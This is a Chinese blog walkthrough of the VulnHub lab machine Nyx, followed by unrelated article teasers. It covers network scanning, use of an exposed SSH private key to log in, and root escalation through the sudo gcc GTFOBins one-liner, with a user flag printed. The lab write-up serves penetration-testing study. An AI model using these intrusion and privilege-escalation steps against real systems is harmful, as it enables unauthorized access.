[VulnHub靶机渗透] Nyx

🍬 博主介绍👨‍🎓 博主介绍:大家好,我是 hacker-routing ,很高兴认识大家~
✨主攻领域:【渗透领域】【应急响应】 【python】 【VulnHub靶场复现】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

目录

前言

一、信息收集

1、主机探测

2、端口扫描

3、漏洞扫描

nikto漏洞扫描

nmap漏洞扫描

二、调试测试

1、web渗透+信息收集

2、OpenSSH 私钥 免密码登录

3、user.txt

三、提权

1、sudo提权

2、利用gcc提权

3、root权限


前言

靶机精讲之NYX,是一台vulnhub靶机,不难,准确地说如果找到入口就不难,如果找不到入口,可能就不知道从哪里突破,这个环节是值得反思的,否则你可能认为这是一台很难的机器。提权阶段还是强调living off the land的思想和应用,靶机规模不大,但是确是对一个渗透测试人员的基本功的考验。

一、信息收集

1、主机探测

发现靶机的IP地址是192.168.103.155

┌──(root??kali)-[~/桌面]
└─# arp-scan -l

2、端口扫描

扫描发现靶机开放了22、80端口

┌──(root💀kali)-[~/桌面]
└─# nmap -sS -A -p- 192.168.103.155

3、漏洞扫描

nikto漏洞扫描

nikto扫描发现了靶机的一些版本信息,包括一些漏洞,但是这些漏洞都需要我们后面去证实,后面如果没有什么突破,我们可以再回过头来去尝试下。

┌──(root??kali)-[~/桌面]
└─# nikto -h 192.168.103.155

nmap漏洞扫描

利用nmap的漏洞扫描,发现了靶机的一个隐藏目录,我们后面在进行web渗透测试的时候,可以访问下。

┌──(root??kali)-[~/桌面]
└─# nmap --script=vuln -p22,80 192.168.103.155 --script=vuln 参数来指定 nmap 使用漏洞扫描脚本。
另外,-p22,80 参数指定了扫描的端口范围,即 22 和 80。

二、调试测试

1、web渗透+信息收集

我们直接访问,web80端口的页面,发现是个静态的web页面,没有什么价值,像一般碰到静态的web页面,我们可以尝试查看网站源代码

发现源代码,提示我们不要在这里浪费时间,让我们到别的地方去寻找线索

访问我们开始利用namp扫描出来的 那个目录:/d41d8cd98f00b204e9800998ecf8427e.php

发现是个OpenSSH 私钥,我们后面可以尝试利用OpenSSH 私钥进行免密码登录ssh

2、OpenSSH 私钥 免密码登录

我们把靶机的OpenSSH 私钥,保存到id_rsa文件里面,后面利用这个私钥进行免密码登录

我们现在尝试寻找ssh登录的用户,在实际的渗透测试下,如果我们没有找到ssh私钥的用户,我们可以尝试下root用户,但是这个靶场不是root用户

我们发现左上角的这个url的标题,显示是mpampis 的key,说明可能是这个用户的openssl 私钥

我们利用下面的一个很像base64编码的一串解码,发现也是这个用户,说明openssh的私钥就是这个用户

私钥文件 “id_rsa” 的权限设置有问题。SSH 客户端要求私钥文件的权限必须是非常严格的,通常是 600 或者 400,表示只有拥有者才可读写。

chmod 600 id_rsa

发现利用openssl私钥免密码登录成功了

┌──(root💀kali)-[~/桌面]
└─# ssh -i id_rsa mpampis@192.168.103.155                                                                                                                              2 ⚙
Linux nyx 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
███▄▄▄▄   ▄██   ▄   ▀████    ▐████▀ 
███▀▀▀██▄ ███   ██▄   ███▌   ████▀  
███   ███ ███▄▄▄███    ███  ▐███    
███   ███ ▀▀▀▀▀▀███    ▀███▄███▀    
███   ███ ▄██   ███    ████▀██▄     
███   ███ ███   ███   ▐███  ▀███    
███   ███ ███   ███  ▄███     ███▄  ▀█   █▀   ▀█████▀  ████       ███▄ 
Last login: Mon Feb 12 05:00:15 2024 from 192.168.103.129
mpampis@nyx:~$ id
uid=1000(mpampis) gid=1000(mpampis) groups=1000(mpampis),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
mpampis@nyx:~$

3、user.txt

成功拿到root的flag

mpampis@nyx:~$ cd /home
mpampis@nyx:/home$ ls
mpampis
mpampis@nyx:/home$ cd mpampis/
mpampis@nyx:~$ ls
user.txt
mpampis@nyx:~$ cat user.txt 
2cb67a256530577868009a5944d12637

三、提权

1、sudo提权

cat /etc/crontab查看是否有定时进程,发现没有定时任务

mpampis@nyx:~$ cat /etc/crontab

查看哪些具有SUID提权

mpampis@nyx:~$ find / -user root -perm -4000 -print 2>/dev/null
  • 这个命令运行了 find 工具,在整个文件系统中寻找属主为 root,且设置了 SUID 权限(权限为 4000)的文件,并将搜索结果输出到标准输出。2>/dev/null 将错误输出重定向到空设备,以避免在标准输出中看到不相关的错误信息。
  • 这个命令的目的可能是寻找拥有 root 权限的 SUID 文件,因为这些文件在一些安全漏洞中可能会被利用。

sudo提权

sudo 命令通常用于赋予特定用户或用户组在系统上执行特权操作的权限,而 (root) NOPASSWD 说明了用户 mpampis 可以以 root 权限执行指定的命令而无需输入密码。

mpampis@nyx:~$ sudo -l
Matching Defaults entries for mpampis on nyx:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/binUser mpampis may run the following commands on nyx:(root) NOPASSWD: /usr/bin/gcc

2、利用gcc提权

这里给大家分享一个我平常做渗透测试的一个很好用的一个提权网站给大家:GTFOBins

GTFOBins icon-default.png?t=N7T8https://gtfobins.github.io/

这里直接检索gcc,然后点击sudo提权

sudo gcc -wrapper /bin/bash,-s .

3、root权限

发现成功提权到root权限了

mpampis@nyx:~$ sudo gcc -wrapper /bin/bash,-s .
root@nyx:~# id
uid=0(root) gid=0(root) groups=0(root)
root@nyx:/home/mpampis# cd /root
root@nyx:~# ls
root.txt
root@nyx:~# cat root.txt
root@nyx:~# 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/680986.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2月3日作业

1.编程实现单向循环链表的头插&#xff0c;头删、尾插、尾删 尾插/头插&#xff0c;头删&#xff0c;尾删&#xff1a; 头文件&#xff1a; #ifndef __HEAD_H_ #define __HEAD_H_#include<stdio.h> #include<string.h> #include<stdlib.h>enum {FALSE-1,SU…

Spring Cloud Gateway 网关路由

一、路由断言 路由断言就是判断路由转发的规则 二、路由过滤器 1. 路由过滤器可以实现对网关请求的处理&#xff0c;可以使用 Gateway 提供的&#xff0c;也可以自定义过滤器 2. 路由过滤器 GatewayFilter&#xff08;默认不生效&#xff0c;只有配置到路由后才会生效&#x…

浅谈进制的转换

本文创作灵感来自CSDN咸鱼WCY 的 咸鱼小白学嵌入式之C语言&#xff08;2.进制&#xff09; 博主更完就没更了&#xff0c;决定书接上回&#xff08;喜 进制是个啥 要理解进制&#xff0c;首先哈&#xff0c;咱得知道不同进制的含义 说到底&#xff0c;各个进制其实有点像在…

学生公寓|基于Springboot的学生公寓管理系统设计与实现(源码+数据库+文档)

学生公寓管理系统目录 目录 基于Springboot的学生公寓管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、宿舍列表 2、宿舍公告信息管理 3、宿舍公告类型管理 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八…

学生成绩管理系统|基于Springboot的学生成绩管理系统设计与实现(源码+数据库+文档)

学生成绩管理系统目录 目录 基于Springboot的学生成绩管理系统设计与实现 一、前言 二、系统功能设计 三、系统实现 1、管理员功能模块 2、学生功能模块 3、教师功能模块 四、数据库设计 1、实体ER图 五、核心代码 六、论文参考 七、最新计算机毕设选题推荐 八、源…

AI引领低代码革命:未来应用开发的新主流

距离ChatGPT发布已经过去快一年时间。 在这一年里&#xff0c;以ChatGPT为代表的自然语言处理领域的重大进步&#xff0c;为我们的对话系统和语言交流提供了更加智能和自然的体验。随着ChatGPT的应用不断扩大&#xff0c;人们开始认识到人工智能&#xff08;AI&#xff09;技术…

elasticsearch增删改查

一、数据类型 1、字符串类型 &#xff08;1&#xff09;text &#xff08;2&#xff09;keyword 2、数值类型 &#xff08;1&#xff09;long、integer、short、byte、float、double 3、日期类型 &#xff08;1&#xff09;date 4、布尔类型 &#xff08;1&#xff0…

【AI绘图】初见·小白入门stable diffusion的初体验

首先&#xff0c;感谢赛博菩萨秋葉aaaki的整合包 上手 stable diffusion还是挺好上手的&#xff08;如果使用整合包的话&#xff09;&#xff0c;看看界面功能介绍简单写几个prompt就能生成图片了。 尝试 我在网上找了一张赛博朋克边缘行者Lucy的cos图&#xff0c;可能会侵…

开发自定义标记应用程序

开发自定义标记应用程序 问题陈述 Larry Williams 是ABC Inc.公司的CEO,他希望公司能够拥有一个交互式网站以向访问网站的用户表示问候并显示当前时间。他还希望最终用户能够指定主页的背景颜色。您是公司的网站管理员。Larry要您修改网站的主页,以便向最终用户显示自定义问…

鸿蒙小案例-你画我猜

鸿蒙小案例-你画我猜 1.准备组件(组件布局) 2.实现跟随鼠标画笔画出图案功能 3.实现复制上面的画笔的图案功能 4.其他小功能1.组件的准备 画布的组件官方给的API是Canvas&#xff0c;需要传递一个参数CanvasRenderingContext2D 直接搜索API 使用官方案例 private settings: …

【蓝桥杯Python】试题 算法训练 藏匿的刺客

资源限制 内存限制&#xff1a;256.0MB C/C时间限制&#xff1a;1.0s Java时间限制&#xff1a;3.0s Python时间限制&#xff1a;5.0s 问题描述 强大的kAc建立了强大的帝国&#xff0c;但人民深受其学霸及23文化的压迫&#xff0c;于是勇敢的鹏决心反抗。   kAc帝国防守…

书生谱语-基于 InternLM 和 LangChain 搭建知识库

大语言模型与外挂知识库&#xff08;RAG&#xff09;的优缺点 RAG方案构建与优化 作业 在创建web_demo时&#xff0c;需要根据教程将服务器端口映射到本地端口&#xff0c;另外需要将链接的demo从服务器中复制出来&#xff0c;不要直接从服务器打开demo页面&#xff0c;不然会…

分布式事务详解

概述 随着互联网的发展&#xff0c;软件系统由原来的单体应用转变为分布式应用。分布式系统把一个单体应用拆分为可独立部署的多个服务&#xff0c;因此需要服务与服务之间远程协作才能完成事务操作。这种分布式系统下不同服务之间通过远程协作完成的事务称之为分布式事务&…

JavaScript中有哪些不同的数据类型

在 JavaScript 中&#xff0c;数据类型是一种用来表示数据的分类&#xff0c;它决定了我们可以对这个数据类型执行哪些操作。在 JavaScript 中有以下几种不同的数据类型&#xff1a; 基本数据类型 字符串 (String)&#xff1a;表示一组字符&#xff0c;可以使用引号&#xff08…

ElasticSearch级查询Query DSL上

目录 ES高级查询Query DSL match_all 返回源数据_source 返回指定条数size 分页查询from&size 指定字段排序sort 术语级别查询 Term query术语查询 Terms Query多术语查询 exists query ids query range query范围查询 prefix query前缀查询 wildcard query通…

CVE-2022-25487 漏洞复现

漏洞描述&#xff1a;Atom CMS 2.0版本存在远程代码执行漏洞&#xff0c;该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。 其实这就是一个文件上传漏洞罢了。。。。 打开之后&#xff0c;/home路由是个空白 信息搜集&…

controller-manager学习三部曲之三:deployment的controller启动分析

欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码)&#xff1a;https://github.com/zq2599/blog_demos 《controller-manager学习三部曲》完整链接 通过脚本文件寻找程序入口源码学习deployment的controller启动分析 本篇概览 本文是《controller-manager学习三…

深入了解JavaScript混淆工具:jsjiami.v6

JavaScript混淆工具在前端开发中发挥着重要的作用&#xff0c;帮助开发者保护源代码&#xff0c;减少代码被轻易破解的风险。其中&#xff0c;jsjiami.v6 是一款备受开发者关注的混淆工具之一。本文将深入介绍jsjiami.v6的基本原理和使用方法&#xff0c;并通过案例代码演示其效…

普通男孩的新年创作纪念日

前言 首先在新春佳节&#xff0c;小编在这里祝各位大佬。萌新友友们新年好&#xff0c;希望每一个烟火般的你在新的一年里 offer 多多&#xff0c;薪资多多 &#xff0c;龙行龘龘 &#x1f409; &#x1f409; &#x1f409; &#x1f409;&#xff0c;前程朤朤 ❤️ ❤️ ❤…

【C++】内存详解(堆,栈,静态区)

&#x1f490; &#x1f338; &#x1f337; &#x1f340; &#x1f339; &#x1f33b; &#x1f33a; &#x1f341; &#x1f343; &#x1f342; &#x1f33f; &#x1f344;&#x1f35d; &#x1f35b; &#x1f364; &#x1f4c3;个人主页 &#xff1a;阿然成长日记 …